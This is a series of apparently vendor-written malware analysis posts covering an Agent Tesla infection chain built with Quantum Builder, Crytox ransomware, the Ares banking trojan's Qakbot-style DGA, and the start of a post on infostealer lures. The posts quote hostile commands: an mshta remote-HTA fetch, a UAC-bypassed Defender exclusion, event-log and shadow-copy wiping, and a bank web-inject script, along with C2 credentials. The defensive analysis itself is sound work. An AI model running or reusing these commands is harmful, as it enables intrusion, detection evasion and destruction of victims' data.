8. Execution of New PowerShell Script - AES Decrypted and GZIP Decompressed The AES Decrypted and GZIP Decompressed Downloader PowerShell Script executed by the IEX function is the key PowerShell Script performing following malicious actions: Downloads the Final Agent Tesla Payload from the Remote Server Performs CMSTP User Account Control (UAC) Bypass - To execute Agent Tesla with administrative privileges To exclude the AppData directory (Contains the Agent Tesla Binary) from the Windows Defender Hides the Agent Tesla Binary by manipulating the File Attributes The routine first downloads the Agent Tesla binary from the remote server by initially fetching the AppData path from the Environment Variable and then concatenating it with the hardcoded binary name “MuUQDuaFNoGmHQE.exe”. Further, it checks whether the binary path already exists. If the path exists, the PS Script executes the CMSTP UAC Bypass which then executes the binary (Agent Tesla) with administrative privileges. If not, an encrypted array is passed as an argument to the Decryption routine as seen in the screenshot below. Fig 9. Decrypted PowerShell Script Now, the Decryption routine decrypts the Array by subtracting each value of the Array by a hard coded key value “79114”. In this case the decrypted string is the following download URL: https[:]//[.]exe which hosts the Final Agent Tesla payload. Fig 10. Decryption of Downloader URL The Decrypted Download URL is then passed on to a Downloader function which first decrypts the Net.WebClient strings and then initializes a New Web Client Object. Further, it executes the WebClient.DownloadData() function with the filebin[.]net URL as the argument. The DownloadData() function downloads the resource as a Byte array from the filebin[.]net URL as seen in the following screenshot. Fig 11. Downloads the Agent Tesla from Remote Server The Downloaded Agent Tesla binary is then written to the disk via WriteAllBytes() function at the following path: “C:\Users\<username>\AppData\Roaming\MuUQDuaFNoGmHQE.exe” Fig 12. Writes the downloaded Agent Tesla binary in AppData Directory Next, the PowerShell Script performs the CMSTP User Account Control Bypass in order to execute the Agent Tesla binary with Administrative privileges. CMSTP is the Microsoft Connection Manager Profile Installer used for installing or removing the connection manager service profiles and is distributed by Microsoft. The CMSTP accepts an INF (Installation Information) File as the argument for installing the service profile. In this case, the threat actors abuse the CMSTP to bypass UAC with the help of a malicious INF file which contains the commands to be executed. Once the CMSTP binary tries to install the INF file, the CMSTP in the background executes the COM interface CMLUAUTIL which is auto-elevated, allowing the malicious commands to be executed with elevated privileges. In our case, the path of the Agent Tesla binary is passed as an argument to the CMSTP UAC Bypass function in the PS Script. The function initially decodes a huge block of base64 encoded data along with the path of the binary being concatenated within the decoded data as portrayed in the screenshot below. Fig 13. CMSTP UAC Bypass Function The base64 decoded data is a PowerShell based CMSTP UAC Bypass PoC available on Github: link. The decoded PowerShell script is then base64 encoded and further executed in a encoded fashion (-Encoded) with a hidden window as seen in the screenshot below. Fig 14. Execution of CMSTP UAC Bypass PS Script Further, the PowerShell based CMSTP UAC Bypass PoC script upon execution writes a malicious INF file in the Temp directory wherein the $CommandToExecute variable in the PS Script is the path of the Agent Tesla binary. Therefore, the malicious INF file written on disk consists of the path to the Agent Tesla binary as the command to be executed with elevated privileges upon execution of CMSTP.exe, as shown in the screenshot below. Fig 15. Malicious INF File with command to be executed Once the INF file is written in the Temp Directory the PowerShell script spawns a new process “cmstp.exe” with “/au $InfFileLocation” as the arguments, which then installs the malicious INF File, as shown below. Fig 16. Execution of CMSTP.exe with the malicious INF File as the argument Now while the installation of the INF file is in process by the cmstp.exe, the commands in the RunPreSetupCommandsSection parameter are executed with Administrative privileges. The script sends an [ENTER] keystroke input across to an active Window Application in order to automate the process using SendKeys.SendWait() function. Fig 17. Sends [ENTER] keystroke to trigger the UAC Bypass In our case, the RunPreSetupCommandSection parameter in the malicious INF consists of the path to the Agent Tesla binary residing in the AppData Directory. Therefore, when the cmstp.exe is spawned with the malicious INF as the argument, the COM interface CMLUAUTIL is auto-elevated. This executes the malware with administrative privileges, bypassing the UAC as seen in the screenshot below. Fig 18. Agent Tesla malware executed with Administrative privileges bypassing the UAC Once Agent Tesla is executed with elevated privileges, it performs malicious activities such as stealing personal data from Browsers, Mail Clients and logs keystrokes. It is also capable of keylogging, form-grabbing, Clipboard hijacking similar to the older variants of Agent Tesla and further communicates with the FTP based CnC server: “ftp[.]qurvegraphics[.]com” Configuration: Protocol: ftp Host: ftp[.]qurvegraphics[.]com Port: 21 Username:eddx@qurvegraphics[.]com Password: C1WJFi]vTamX FTP based CnC Communication: Fig 19. FTP Based Agent Tesla CnC Communication Furthermore, a similar CMSTP UAC Bypass function is implemented in the PowerShell script to add a Windows Defender Path exclusion for the AppData Directory where the AgenTesla Binary resides. The only difference in this case from the INF end is that the RunPreSetupCommandsSection parameter of the INF File consists of the following command: “PowerShell -NoLogo -WindowStyle hidden -NonInteractive -NoProfile -Execution Policy UnRestricted Add-MpPreference -ExclusionPath $env:AppData” which is executed with administrator privileges bypassing the UAC via cmstp.exe, as discussed earlier. Fig 20. Window Defender Exclusion via CMSTP UAC Bypass Along with all of these functions, the PowerShell script also hides the Agent Tesla Binary by manipulating the hidden file attribute. This completes the Infection Chain used by the threat actors to deliver Agent Tesla on the victim machines. Fig 21. Hides the Final Payload by manipulating the File Attributes Attack Variations We came across multiple samples using another variation of the Infection Chain to deliver Agent Tesla on the victim machine. In this variation, the initial .LNK File (PAYMENT.png.lnk) was bundled in a ZIP Archive ( The .LNK file in this case is also tasked to execute a HTA File hosted on the remote server by decoding the following command: “Iex mShta http://179[.]43[.]175[.]187/puao/PAYMENT.hta” by converting the integers into characters and then replacing whitespaces and further leveraging MSHTA to execute the HTA file from the remote URL as shown in the screenshot below. Fig 22. Execution of Remote HTA File via .LNK The HTA File executed by MSHTA in this case is identical to the one used in the previous infection chain, where the Encrypted Array is passed on to the Decryption Function which decrypts the Array by subtracting each value of the Array by a hard coded key value “63194” and then converting them into characters to forms the PowerShell script which is been executed via the Run method. Fig 23. HTA File decrypts the PowerShell Script Apart from the Run() Method, in some cases the HTA file leverages the ShellExecute() Method to run the decrypted PowerShell script with the “runas” verb, and would then try to elevate permissions by spawning a UAC Prompt at the user end. Fig 24. UAC Prompt via ShellExecute() “RunAs” Further, the Decrypted Downloader PowerShell in this case is also similar to the previously analyzed PowerShell script, except that it does not incorporate the AES Decryption PS Stage and the CMSTP UAC Bypass component in the following script. In this variation, the Downloader PowerShell Script first decrypts the Download URL “179[.]43[.]175[.]187/puao/PAYMENTS[.]exe” using a similar decryption function with hardcoded key value as “58146”, and then downloads and writes the Agent Tesla payload from the Download URL to the AppData directory using DownloadData() function. Once written, it executes the Agent Tesla payload from the AppData path using Start-Process(); if the extension of the payload is “.dll” then it uses rundll32.exe to load the DLL in the virtual memory. Fig 25. Downloads and Executes Agent Tesla via the Decrypted PowerShell Script In some cases we also came across In-memory decrypted PowerShell scripts which downloaded and executed a decoy file using Invoke-Item function. This was done to distract the victims from the malicious activities as shown in the screenshot below. Fig 26. Decoy Execution The final Agent Tesla payload in this case uses SMTP based CnC Communication with the following configuration: Protocol: "SMTP", Email Address: Password: Sa4=3jj*E{#_ SMTP Server: mail[.]thesharpening[.]com[.]au Fig 27. SMTP based CnC Communication performed by Agent Tesla ‘Quantum’ Builder Analysis & Comparison: From our analysis of the Infection chain explained previously, we were able to deduce that the LNK, HTA payloads and the in-memory PowerShell scripts were generated by a builder named “Quantum Builder”. The Quantum Builder is a completely customizable builder capable of generating evasive LNK, HTA, and ISO Payloads incorporated with advanced techniques such as UAC Bypass, In-memory payloads as a method to evade detection at any cost, and many more. The builder is sold with various pricing plans in the cybercrime marketplace, and is updated regularly with new techniques to evade detections. Fig 28. Quantum Builder We were able to get our hands on Quantum Builder, which allowed us to analyze and compare the generated payloads with the In-the-Wild (ITW) payloads used in the above Agent Tesla campaign. Following is the analysis & comparison below for the HTA and LNK Builder modules. Module 1 - HTA Builder The HTA builder accepts the following inputs from the user end in order to build the HTA Payload as shown in the screenshot below Fig 29. Quantum Builder - HTA Builder Next, the input values are passed to the HTA Builder function where the values are concatenated and arranged in order to construct the HTA File as can be seen in the screenshot below. Fig 30. Quantum Builder - HTA Generation (Testing.hta) Now if we compare the “Testing.hta” code with ShellExecute function in the above screenshot (Fig. 31) with the In-the-Wild HTA ShellExecute function analyzed previously (Fig. 32) tasked with executing the Decrypted PS script and UAC Prompt, we can see similarities between them, verifying that the payloads were generated by the Quantum Builder itself. Fig 31. In-The-Wild HTA File Here, the HTA and In-memory PowerShell files change a bit based on the options selected whilst building the payload. Per our analysis, almost all are similar to the files seen in the wild and previously analyzed in the infection chain analysis, proving that they have been generated from the Quantum Builder. Module 2 - LNK Builder The LNK Builder module accepts the following values as seen in screenshot below in order to generate a Malicious LNK file. Fig 32. Quantum Builder - LNK Builder The input values are then arranged in the required format: Some strings are XOR Encrypted and then arranged in a specific way, and then the LNK (Shortcut) file is created using the CreateShortcut() Function with the pathlink where the LNK file is to be saved. Here in the screenshot, we can take a look at the parameters to the Shortcut file such as the Description, IconLocation, Target Path, Arguments and WindowStyle. Fig 33. Quantum Builder - LNK Builder Comparing the PowerShell code in the above screenshot leveraging the “ -join | % { [char] ($_ -bxor”, “[convert]::FromBase64String”, “sal” to the PowerShell code present in the .LNK File from the Agent Tesla campaign shown below, we see that the arguments are identical proving that it was generated by the Quantum Builder. Fig 34. Agent Tesla Campaign LNK PowerShell code snippet The builder also can generate ISO payloads bundled with the malware to be delivered, as shown in the below screenshot. Fig 35. ISO Builder The Quantum Builder has been used by threat actors in multiple campaigns in the wild to deliver various malware families including: RedLine Stealer IcedID GuLoader RemcosRAT and AsyncRAT Thus, we can conclude that the threat actors are leveraging the “Quantum Builder” in order to generate LNK, HTA and ISO Payloads equipped with advanced techniques (which keep on updating regularly) to deliver various malware on the target machines. Zscaler Sandbox Coverage: Figure 36. The Zscaler Cloud Sandbox successfully detected the Downloader. LNK.Downloader.AgentTesla Conclusion: Threat actors are continuously evolving their tactics and making use of malware builders sold on the cybercrime marketplace. This Agent Tesla campaign is the latest in a string of attacks in which Quantum Builder has been used to create malicious payloads in campaigns against various organizations. It incorporates sophisticated techniques to evade detections, and the techniques are updated regularly by the developers. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe IoCs: LNK hash: 3edfa0cf3b7d54c24013e4f0019dba20 bb914889d5edc6b56c666d2e44e1a437 1adc0bd494cd42578ac8c8e726d5ad92 31c341ad31224cc7d38a5c4e80ccb727 f931773a226809669cad91410a57267f HTA URL: filebin[.]net/njqyvfot61w0tu9a/ordr[.]hta filebin[.]net/yiob7vjw7pqow03r/RFQ_270622[.]hta 179[.]43[.]175[.]187/puao/PAYMENT[.]hta 179[.]43[.]175[.]187/puao/PO-M6888722[.]hta Agent Tesla Download URL: filebin[.]net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe 179[.]43[.]175[.]187/puao/PAYMENTS[.]exe 179[.]43[.]175[.]187/puao/PO-M6888757[.]exe Agent Tesla hashes: d9433faddcaca526b26f713e27e2505f 213ada506251c477480bd14ea5507bf3 0ebb9d422f8e86458d8fa7f66fe1d0f1 563fda5da81a5e7818d771222e81f6c4 Agent Tesla CnC: mail[.][.]au ftp[.]qurvegraphics[.]com Tue, 27 9月 2022 08:01:11 -0700 Niraj Shivtarkar Technical Analysis of Crytox Ransomware Key points Crytox is a ransomware family consisting of several stages of encrypted code that was first observed in 2020 The ransomware encrypts local disks and network drives and leaves a ransom note with a five day ultimatum, but does not exfiltrate data from the victim Crytox drops the uTox messenger application on the infected system that enables the victim to communicate and negotiate with the threat actors Crytox uses AES-CBC with a per file 256-bit key that is protected with a locally generated RSA public key File decryption may be possible via a known plaintext bruteforce attack Summary The threat actor using Crytox ransomware has been active since at least 2020, but has received significantly less attention than many other ransomware families. In September 2021, the Netherlands-based company RTL publicly acknowledged that they were compromised by the threat actor. The company paid Crytox 8,500 euros. Compared with current ransom demands, this amount is relatively low. Unlike most ransomware groups, the Crytox threat actor does not perform double extortion attacks where data is both encrypted and held for ransom. The modus operandi of the group is to encrypt files on connected drives along with network drives, drop the uTox messenger application and then display a ransom note to the victim as shown in Figure 1. Figure 1. Crytox ransom note The ransom demand period is set to five days to pressure the victim into paying as soon as possible Technical analysis The sample analyzed by ThreatLabz has the following SHA256 hash 32eef267a1192a9a739ccaaae0266bc66707bb64768a764541ecb039a50cba67. In most cases, Crytox samples are packed with UPX. Once decompressed, a sample usually weighs in around 1.23MB because the whole uTox client is embedded inside the malware. Cryptox uses different techniques to thwart static analysis including the following: API hashing Encrypted configurations Encrypted shellcode Remote thread injection Some parts of the malware look directly written in assembly. The most noteworthy thing is the use of a specific implementation of AES-CBC shown in Figure 2. Figure 2. Crytox implementation of AES The authors borrowed the AES code and modified some parts to meet their needs. They even added an alternative algorithm using Intel x86 AES instructions. Oddly enough, the authors chose to only implement the Rijndael_Encrypt routine to both decrypt their config and encrypt files. This means that when they embedded their configurations, they used the AES decryption routine to encrypt them. The key used for decrypting the Crytox configurations are either the first or second block of 32 bytes of the AES lookup table Te1 using a NULL initialization vector (IV). First-Stage The malware encrypts the first-stage configuration using the aforementioned implementation of AES-CBC. Here, the AES key is the first 32 bytes of the Te1 lookup table a5c6636384f87c7c99ee77778df67b7b0dfff2f2bdd66b6bb1de6f6f5491c5c5 as shown in Figure 3. Figure 3. Crytox first-stage configuration after decryption This configuration contains the following information: A hardcoded 2048-bit RSA public key The path to drop the uTox client application The Run registry value for the ransom note to be displayed at startup The process name to inject The class registry key to store the malware's configuration After this configuration has been decrypted, the malware locally generates a 2048-bit RSA key pair using the CryptGenKey function. The generated RSA private key is then encrypted five times using the hardcoded public key. Under the sub-key HKCR\.waiting\shell\open\command\, the ransomware stores the following value-data pair shown in Table 1. Value Data "en" Generated RSA public key "n" Encrypted generated RSA private key "" C:\Windows\System32\mshta.exe "C:\ReadMe.hta" Table 1. Crytox registry configuration In order to make sure the ransom note is displayed on startup, the registry value open along with the data "C:\ReadMe.hta" are created under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Once the Crytox configuration is stored, the code proceeds to locate a process to inject the second-stage. A remote thread is created to execute the first piece of shellcode. Second-Stage This stage decrypts a second configuration using AES-CBC with the following key 5060303003020101a9ce67677d562b2b19e7fefe62b5d7d7e64dabab9aec7676 (which is the second block of 32 bytes from the lookup table Te1). According to this decrypted configuration, the shellcode executes a batch file to delete shadow copies and remove events from the logs. Essentially the following commands are run:: for /F "tokens=*" %%1 in ('wevtutil.exe el') DO wevtutil.exe cl "%%1" vssadmin.exe Delete Shadows /All /Quiet diskshadow.exe /s ../pghdn.txt The file pghdn.txt contains the line "delete shadows all". Given the following hashing algorithm, the second-stage searches for the process ID (pid) of the process for which the hash of its name corresponds to 0xDCF164CD (explorer.exe) or 0x561F1820 (svchost.exe). name = process_name + "\x00" hash = 0 for c in name.upper(): hash = ROTR32(hash, 0xD) + ord(c) Inside a new thread, the shellcode creates a mutex by concatenating a hardcoded 4-letter word (e.g., "CSWS") with some random characters based on the pid of the targeted process as shown in Figure 4. Figure 4. Crytox mutex creation The thread then decrypts the content from the resource section of the original malware using the same algorithm and key as for the second configuration. This resource contains another shellcode, which is the final stage. This shellcode is injected inside the targeted remote process. Third and Final Stage Using the same encryption algorithm, with the first 32-bytes of the Te1 lookup table as the AES key, this final stage decrypts the main configuration containing the following information: A seed for generating the file encryption key An .hta formatted ransom note A simple regular expression for listing all files on the system The encrypted file extension (e.g., YOUR ID.waiting) Privileges to remove (SeBackupPrivilege, SeRestorePrivilege) First, the code tries to retrieve the configuration that the first stage stored in the registry hive. If this configuration doesn't exist, Crytox will create it. The code proceeds to set a countdown variable in the ransom note followed by replacing the string YOUR ID in the ransom note template. The latter value is replaced with a unique victim ID that is generated by the following pseudo-algorithm based on the encrypted locally generated RSA private key: Figure 5. Crytox victim ID generation algorithm Before encrypting any files, the malware removes the SeBackupPrivilege and SeRestorePrivilege privileges. Using the functions WNetOpenEnumW and WNetEnumResourceW, the malware retrieves connected drives and for each drive found, a thread is created to encrypt files. The same process is applied for every logical drive using the function GetLogicalDrives. The malware then waits for a lock to be released before calling the ShChangeNotify function in order to change the icon and file association and to display the ransom note to the victim. File encryption The algorithm to discover all the files is relatively standard and relies on a recursive approach. The Windows directory is excluded from the search along with the ransom note and files with the .waiting extension. In addition, Crytox will only encrypt files that are larger than 16 bytes, which is the size of a block for AES. If the size of a file is not an exact multiple of 16 bytes, the malware will not pad and encrypt the last block of data. For large files, only the first 1,048,576 (0x100000) bytes are read and encrypted to optimize encryption speed. For each file, a new 256-bit AES key is generated and the content of the file is encrypted using AES-CBC. Crytox then creates the following structure in Figure 6. Figure 6. Cryptox cipher footer structure The BLOBHEADER structure is set like this: .bType = PLAINTEXTKEYBLOB .bVersion = CUR_BLOB_VERSION .aiKeyAlg = CALG_AES_256 Since the structure is not initialized, the padding structure is filled with random data. This structure is encrypted with the locally generated RSA public key. The resulting cipher is concatenated to the end of the encrypted file followed by the encrypted generated RSA private key. The encrypted file is renamed by appending YOUR ID.waiting to the original filename with YOUR ID replaced by the victim ID computed as described previously. A ransom note is written to every directory after encrypting all files that are present. A process flow chart for Crytox is illustrated in Figure 7. Figure 7. Process flowchart for Cryptox encryption Key Generation Algorithm and Weakness As stated previously, a 256-bit AES key is generated for each file that is encrypted. The following algorithm in Figure 8 is used for the key generation. Figure 8. Crytox key generation algorithm The custom pseudo random key generator functions relies on the variables below: A seed value determined by calling GetTickCount A 64-bit integer config_t.random_generated initially set to 0 A 32-bit integer constant config_t.config_seed The last value is stored inside the malware's configuration. This value has been the same across samples analyzed by ThreatLabz. The only unknown value necessary to determine the AES key is the value of GetTickCount at the time of encryption. However, if some plaintext of a file is known, efforts to bruteforce the AES key are feasible. Based on file magic values, one can divise a bruteforce program with the following logic: Set a counter to 0 Let the random generator create a key with the counter as the rotating seed Decrypt the first block of the encrypted file Compare a known magic value with the decrypted data If the value matches, the initial value of GetTickCount and the key have been successfully identified. Else, increment counter and loop back to 2. Figure 8 shows an bruteforce program running on a machine with 16 logic cores. Here, the encrypted file was dotnet-sdk-3.1.416-win-x64.exe (SHA1: 83A53E8770EDD38EDDD37DED63CEF2253FC16979) and the known plaintext was the Windows PE (MZ) file header 4D5A9000. Figure 9. Cryptox example bruteforce key recovery The method relies on knowing a part of the plaintext at a specific offset. Thus, only specific file types may be decrypted. Because the seed is based on GetTickCount, if one has access to the master file table (MFT) and is able to locate and decrypt the first and last file encrypted, then the range of GetTickCount values can be deduced. Therefore, the bruteforce range can be greatly reduced to decrypt all files. Conclusion Crytox exposes some interesting features to hinder static analysis by self-decrypting itself several times, injecting shellcode inside different processes, encrypting its configurations and using API hashing. The main file encryption logic of Crytox is standard using a unique AES key per file that is protected with RSA. However, the author(s) chose to rely on a weak random generator to create new AES keys. Using a 32-bit integer as the seed is not sufficient with today's computational power. Ransomware families have a lot in common due to their shared goals and most use secure encryption schemes. However, there may still be implementation weaknesses that enable file decryption without having access to a private key. The bruteforce methods described in this blog could be reused for similar scenarios. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign with the following threat name: Win64.Ransom.Crytox Indicators of Compromise Hashes 1c0bf0c2e7d0c34ec038a8b717bb19d9c4cf3382ada1412f055a9786d3069d78 2115c4c859d497eec163ca33798c389649543d8a6e4db5806a791c6186722b71 307c83924e90f4627f08c2f744cf51f18ec6e246687282a0c1794369ff084f42 3764200cfa673e8796e7c955454b57c20852c2a7931fb9f632ef89d267bbd4c8 6d4e75bc0cc095fef94b9d98a4e94ce9145890b435012b5624aa73621ba6e312 79aff06385c16a98594c6fd314c572bfbe07fbe923f30a627e9b86ac3ab7c071 8ee4a58699ecf02dca516dc6b5b72d93fd9968f672b2be6f8920dfec027d7815 c5550f44332750552921cb5d685ccfbeefa2ab4b03aed8c51c5db52bbe2ff5d4 d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455 Files written C:\ReadMe.hta Files with ".waiting" extension Registry keys HKCR\.waiting\shell\open\command Wed, 21 9月 2022 08:00:12 -0700 Romain Dumont The Ares Banking Trojan Learns Old Tricks: Adds the Defunct Qakbot DGA Summary: ThreatLabz observed an update to the Ares banking trojan that introduces a domain generation algorithm (DGA), which mirrors the Qakbot DGA. Based on analyzing the malware code, there does not appear to be a direct link between these two malware families. The Ares DGA may be an effort for the threat actor to maximize the lifetime of an infection, which provides more opportunities for monetizing compromised systems through attacks such as wire fraud and ransomware. Key Points The Ares banking trojan received new updates in August 2022 including a domain generation algorithm (DGA) that is used as a fallback in the event the primary command-and-control (C2) communication channel is unreachable. The domain generation algorithm implementation is virtually identical to the Qakbot banking trojan’s defunct DGA algorithm. The DGA algorithm is based on a hardcoded seed and the current date. The algorithm generates 50 domains per interval (150 domains per month) and uses the daytime protocol to obtain the date. Based on reverse engineering Ares, the DGA appears to be a reimplementation of Qakbot’s algorithm rather than sharing the same codebase. The Ares banking trojan is currently being used to target financial institutions in Mexico. Zscaler ThreatLabz has been tracking developments to the Ares banking trojan, which emerged in February 2021. Ares is based on the Osiris malware family, which in turn, was forked from the original Kronos banking trojan. Threat actors that utilize Ares had been inactive from approximately March 2022 to June 2022. However, there is a new version of Ares that was released in August 2022 that adds new features. These new Ares samples were compiled on August 15, 2022 and implement a domain generation algorithm. The introduction of a DGA is not by itself novel. However, the DGA algorithm is particularly interesting because it is nearly identical to the DGA that was implemented by the Qakbot banking trojan. Technical Analysis Ares samples contain one or more hardcoded URLs that are used as the primary C2 channel. In new versions of Ares, the malware will make up to 50 attempts to contact the primary C2 servers. If these C2 channels are unreachable, Ares will generate domains using a DGA. An example code comparison between the Ares DGA and Qakbot DGA is shown in Figure 1. Figure 1. Code comparison between the DGAs of Ares (left) and Qakbot (right) The primary differences between the Ares DGA and the Qakbot DGA are the former generates 50 domains per interval while the old Qakbot algorithm generated 5,000 domains. In addition, Ares uses the daytime protocol via TCP port 13 to retrieve the current day from one of the following servers: Ares will try each NIST daytime server up to three times. The response from the NIST server is similar to the following: 59820 22-08-29 23:18:13 50 0 0 593.0 UTC(NIST) * In contrast, the Qakbot DGA obtained the current date from public web servers including,, and Similar to Qakbot, Ares converts the response from the daytime server to a string with the format Date: %a, %d %b %Y 00:00:00 GMT. An example string in this format is Date: Mon, 29 Aug 2022 00:00:00 GMT. From this point forward, the algorithm is identical to Qakbot. The date string is converted to the format %u.%s.%s.%08x. The first parameter is an integer in the range between 0 and 2 (depending on the day of the month), followed by the abbreviated month converted to lowercase, followed by the year and a hardcoded constant. In the Ares samples analyzed by ThreatLabz, the magic constant was 0x9283920. Conversely, Qakbot typically hardcoded this magic value to 0 or 1. An example string in this format is 2.aug.2022.09283920. This string is then passed to a CRC32 hash function to produce an integer value that is used as a seed to a Mersenne Twister pseudo random number generator. The Mersenne Twister generates random integers that are used as an index to choose a sequence of lowercase alphabetic characters. The algorithm will produce a domain that is between 8 and 25 characters in length appended with a hardcoded top-level domain (TLD). The TLD is chosen by splitting the string com;net;org;info;biz;org (note the double use of the .org TLD) into an array and using the Mersenne Twister PRNG to choose an integer value as an index into the array. The algorithm splits the set of 50 domains into three time intervals. The first two intervals have a validity of 10 days, while the domains in the last interval are valid from 8 to 11 days depending on the number of days in the month. Therefore, Ares will generated 150 potential C2 domains per month. Example domains generated for August 29, 2022 by Ares are shown below in Table 1. Table 1. Ares DGA domains for August 29, 2022 At the time of publication, none of these domains currently resolve. Analysis of the Ares code indicates that the algorithm was likely reimplemented rather than having access to the Qakbot DGA source code. In fact, there is an open source C implementation of the Qakbot algorithm that is likely the origin of the Ares implementation. In comparison, this open source implementation uses non-native Windows API functions for string operations (e.g., strcat, strlen, atoi, etc), which is identical to Ares. On the other hand, Qakbot uses Windows APIs including lstrcatA and lstrlenA. ThreatLabz has modified a Python-based implementation of the Qakbot DGA authored by Johannes Bader to generate the Ares DGA domains. The Ares DGA tool is located in our GitHub repository here. Web Inject Configuration The Ares malware author appears to be testing web injects to insert HTML content and JavaScript into a targeted website. While the Ares C2 server is not currently serving a dynamic web inject configuration, recent samples contain the following hardcoded configuration targeting BBVA Mexico as shown below: set_url http*bbva*.mx* GP data_before <body*> data_end data_inject <div id="botid" style="display:none;">%BOTID%</div> <script type="text/javascript" src="[.]uk/assets/css/homeats.js"></script> data_end Dynamic API Hash Algorithm The Ares malware author has altered the original Kronos source code to create new Windows API hash values for dynamically resolving NTDLL functions. The modification to the CRC64 algorithm is very slight, but sufficient to bypass static signatures that search for the previous Kronos hash values. In particular, the CRC64 polynomial (0xD800000000000000) was modified by setting the lower DWORD value from 0x00 to 0x10 as shown in Figure 2. Figure 2. Ares import hashing algorithm with a modification to the standard CRC64 polynomial As an example, the standard CRC64 hash value for the string sprintf is 5FE79276722143D0, while in the latest Ares variant, the CRC64 hash value is DC1FC2878FEE79C0. Ares then utilizes the Kronos algorithm to map these values to alphanumeric characters. ThreatLabz has implemented a Python script (available in our GitHub repository) that can be used to generate these hash values. The full list of NTDLL API function names used by Ares and the corresponding hash values is located in the Appendix. Conclusion The developer of Ares continues to add new features to the malware to make it more resilient to detection and disruption. The implementation of Qakbot's DGA will allow a threat actor using Ares to easily deploy new C2 servers and regain control of infected systems if the primary servers are taken down. This is likely an indicator that further attacks are soon to follow. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Banker.Kronos Win32.Banker.Kronos.LZ Indicators of Compromise (IOC) Indicator Description baae5bbaf2decf7af9b22c4d10f66c7c77c9ebc7b73476f7cbe449d2bba97ed9 Ares DGA variant SHA256 31ed2ee200da9a35ab3868b3d2977e6b18bc49772d39c27d57a53b49b6e6fa4a Ares DGA variant SHA256 http://tomolina[.]top/panel/connect.php Ares Hardcoded C2 URL The domains generated by the Ares DGA for August 1, 2022 to December 31, 2022 are available here. Ares Hash Values API Function Name Ares Hash Value LdrGetProcedureAddress Y3Y5E2P5S1S3D1U7 LdrLoadDll F5R0Y0X7R5R3D8Y3 NtAllocateVirtualMemory A6T2D7A2Q2R5B6T6 NtClose F0D3C0A7F5T6P3A2 NtCreateFile T1D7X7R5D7U6C6Q7 NtCreateKey Q3C6Y3P7U6C6P2A3 NtCreateSection P4H8Y3Q3B2Q0S7B7 NtDebugActiveProcess Q3A7Q6R3H0G0B6B7 NtDelayExecution D8B3B3T8A4F6P3T5 NtDeleteFile S3Y3U5G1X0E2T3P7 NtDeleteValueKey Y3G2G7G3B3D2P7F6 NtDuplicateObject U6D1G5D8G1E3R6H4 NtEnumerateValueKey Q6T4F5Q0F1S2G1Y5 NtFreeVirtualMemory X3A2D5D5B4S7F3C4 NtGetContextThread E3Y5Q4R2G7R4U3S5 NtMapViewOfSection B4S3E6S5C6G5Y6Y6 NtOpenEvent G2D4H0P5F5Q7Q0C0 NtOpenFile T4X3U6U8E7Q0D3C7 NtOpenProcess C0P7A7F2E0S3T7R2 NtProtectVirtualMemory B4Y5P8D6B6H5X6Y3 NtQueryDirectoryFile T5S2Y5T4C4F7U7H0 NtQueryInformationFile B5A5U0Q7Y2Y3Q1E3 NtQueryInformationProcess C4P7T3B7C7S4P6Q0 NtQueryInformationThread C3Q6D4C4F6H3F2Y0 NtQueryKey T5S7B2T7H1A2P4R5 NtQueryObject X6U2A2E3Q3U0A7H1 NtQuerySystemInformationEx U0Y1S6E3F0U7C3R8 NtQueryValueKey E5H8F2Y6S2A6R1Y7 NtQueryVirtualMemory U6G3B5G1F1T7S3E5 NtReadVirtualMemory E7G2G4S8Y3Y4X3X3 NtResumeThread P3U8P1B3P6E8D1U4 NtSetContextThread Q2U4U2S2C3F3S8G1 NtSetInformationFile P4Y2Q6Q1E6P5R6A3 NtSetValueKey U5P3A7T2Q5P5S0F3 NtSuspendThread G3R4B6T2T5A6Y8P7 NtTerminateThread S4Q5T3G3R4F7Q6G4 NtUnmapViewOfSection G4C3G4F6X7Y3D7H7 NtWriteFile C8A3E5D4U3E2T3T5 NtWriteVirtualMemory F0X2G2Q5B5Q6G3U6 RtlAnsiStringToUnicodeString Y3S6P7G1H7H0C8G4 RtlCompareUnicodeString U2H5G7F7B6A5P2F4 RtlCreateUserThread F3A6S6D2B8B3X2C7 RtlDeregisterWaitEx S7U1S0U0H7G2Q7E3 RtlDosPathNameToNtPathName_U G3B2Q3G0B6A7D0P5 RtlFreeAnsiString X2X7C3S2R2B4S0X4 RtlFreeUnicodeString T1H6C8A2R2C3T7S8 RtlInitAnsiString D1X1G3A7Q6T0U3U1 RtlInitUnicodeString D6G5P3A8R3G3Y4Q1 RtlRandomEx R7T6F8E2G2B8B2Y4 RtlRegisterWait R4C0F3R3P8Y1X6Y2 RtlUnicodeStringToAnsiString B0U7C3F3D3B4X5T5 _vsnprintf Y2X6H4E2U7B3G6T0 _vsnwprintf T5C2D5Q2F2D6H0G3 _wcsicmp E3C2R6D6R8Q4R2U7 _wcsnicmp U3S3Y5P3F2S8Q4S5 sprintf S4Y7R5G1G7T6F3R3 Tue, 06 9月 2022 08:49:47 -0700 Brett Stone-Gross Making victims pay, infostealer malwares mimick pirated-software download sites Summary: Threat actors distributing infostealers are gaining momentum by targeting victims seeking to illegally download pirated software. Because obtaining and using pirated software is against the law, many individuals partaking in this type of behavior suspend proper scrutiny for the source of their download. As a result, whether they are good or bad people, victims across the world are paying the price with their private information for a single bad decision. Discover the techniques being used to distribute these threats and unravel the infection chain from two different examples to understand how these malware developers operate and use the latest techniques to avoid detection. Introduction: It has been over 20 years since the launch of Napster taught the internet how to get and share digital content online, and nearly a decade since the resilient Pirate Bay torrent site began enabling visitors to find and download stolen media and unlocked or ‘cracked’ versions of software. All these years later, in spite of many lawsuits and injunctions it is still extremely common for people to download pirated software from shady shareware sites instead of buying licenses for noncommercial purposes. Today, we typically see sites hosting cracked softwares like Microsoft Office and Windows installers appearing in indexed Google search results and ad banners. Recently, the Zscaler ThreatLabz researchers discovered multiple ongoing threat campaigns distributing info-stealer malware by targeting victims trying to download pirated software applications. The screenshot in Fig. 1 shows Google search results featuring these fake sites that look just like the real pirate hosting sites. Part of what makes this type of threat so successful is that it targets individuals participating in an illegal yet common activity, as 